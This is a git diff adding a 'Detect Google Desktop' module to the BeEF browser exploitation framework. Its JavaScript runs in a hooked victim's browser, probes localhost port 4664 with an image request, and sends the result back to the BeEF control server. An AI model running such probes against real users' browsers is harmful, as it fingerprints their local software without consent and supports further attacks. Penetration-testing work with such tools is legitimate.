diff --git a/modules/host/detect_google_desktop/command.js b/modules/host/detect_google_desktop/command.js
new file mode 100644
index 000000000..428db53e0
--- /dev/null
+++ b/modules/host/detect_google_desktop/command.js
@@ -0,0 +1,26 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var dom = document.createElement('b');
+	var img = new Image;
+	img.src = "http://127.0.0.1:4664/logo3.gif";
+	img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed');dom.removeChild(this); }
+	img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed');dom.removeChild(this); }
+	dom.appendChild(img);
+
+});
+
diff --git a/modules/host/detect_google_desktop/config.yaml b/modules/host/detect_google_desktop/config.yaml
new file mode 100644
index 000000000..9f364d2e6
--- /dev/null
+++ b/modules/host/detect_google_desktop/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        detect_google_desktop:
+            enable: true
+            category: "Host"
+            name: "Detect Google Desktop"
+            description: "This module attempts to detect Google Desktop running on the default port 4664."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]
diff --git a/modules/host/detect_google_desktop/module.rb b/modules/host/detect_google_desktop/module.rb
new file mode 100644
index 000000000..cadf07b80
--- /dev/null
+++ b/modules/host/detect_google_desktop/module.rb
@@ -0,0 +1,23 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+
+class Detect_google_desktop < BeEF::Core::Command
+  
+  def post_execute
+    save({'GoogleDesktop' => @datastore['google_desktop']})
+  end
+  
+end